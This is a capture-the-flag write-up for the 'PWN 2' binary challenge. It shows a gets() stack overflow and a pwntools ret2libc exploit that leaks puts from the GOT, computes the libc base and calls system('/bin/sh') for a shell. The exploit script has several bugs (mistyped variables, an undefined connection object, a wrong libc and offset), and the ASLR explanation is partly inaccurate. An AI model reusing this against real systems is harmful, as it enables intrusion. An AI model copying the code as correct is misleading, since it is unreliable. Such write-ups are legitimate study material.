PWN 2
Category : Pwning/Binary Exploitaition
Not sure what the intended solution was, but I could solve the solution using a standard ret2libc exploit.
So as per usual, we are given a binary. After decompiling it in ghidra, we get the main function
undefined4 main(void)
{
int iVar1;
char local_30 [44];
setvbuf(stdout,(char *)0x0,2,0);
printf("$ ");
gets(local_30);
iVar1 = strcmp(local_30,"ls");
if (iVar1 == 0) {
run_command_ls();
}
else {
printf("bash: command not found: %s\n",local_30);
}
puts("Bye!");
return 0;
}
Since, gets is being used without any limit on the number of input char, this is a standard buffer overflow vuln
To successfully exploit a buffer overflow, we need a shell access, and unlike the previous challenge, we don’t have a shell function to access.
Checksec output of the binary :
checksec pwn2
[*] '/home/vipul/Desktop/EncryptCTF/pwn2_SOLVED/pwn2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
No Safety features!
To exploit the buffer overflow, we need the offset, using GDB and Pwntools, we get the offset at 44
Now, since ASLR could be present, we need to first calculate the libc base address.
The theory of ASLR goes as in, since true randomization of complete memory space is in computaionally exhaustive, only randomization of the libc base is done, and hence, the difference in memory of locations of any two functions in libc remains constant
So, for the first part of the exploit, we need to calculate libc base. So we call the puts function (whose address is already present due to the main function calling it before) and pass the offset of puts as a argument to puts, and we parse the offset.
Let’s say puts is at offset 0x400
, the libc base will be <addr of function>-0x400
.
We parse the output of puts, and subtract it from address of puts to get the libc base.
Code for the above explanation
from pwn import *
context.binary = "./pwn2"
binary = ELF("./pwn2")
source = ("104.154.106.182", 3456)
ibc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
offset = 44
puts_plt = binary.symbols["plt.puts"]
log.info("puts@plt : {}".format(hex(puts_plt)))
put_got = binary.symbols["got.puts"]
log.info("puts@got : {}".format(hex(puts_got)))
main = binary.symbols["main"]
log.info("main : {}".format(hex(main)))
payload = ""
payload += 'A'*offset
payload += p32(puts_plt)
payload += p32(main)
payload += p32(puts_got)
source.sendline(payload)
source.recvuntil("Bye!\n")
leaked = u32(source.recv(4)) #the leaked address from GOT is printed here
libc_base = leaked - libc.symbols['puts']
Now after we know the offset of puts, we can calculate the location of system
, by adding the offset to libc_base and we can also get the location of /bin/sh
, which will be passed as a parameter to system, to get access to the shell
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.symbols["/bin/sh"]
payload = ""
payload += "A"*(offset-8)
payload += p32(system)
payload += p32(0)
payload += p32(binsh)
source.sendline(payload)
p.interactive()
FLAG : encryptCTF{N!c3_j0b_jump3R}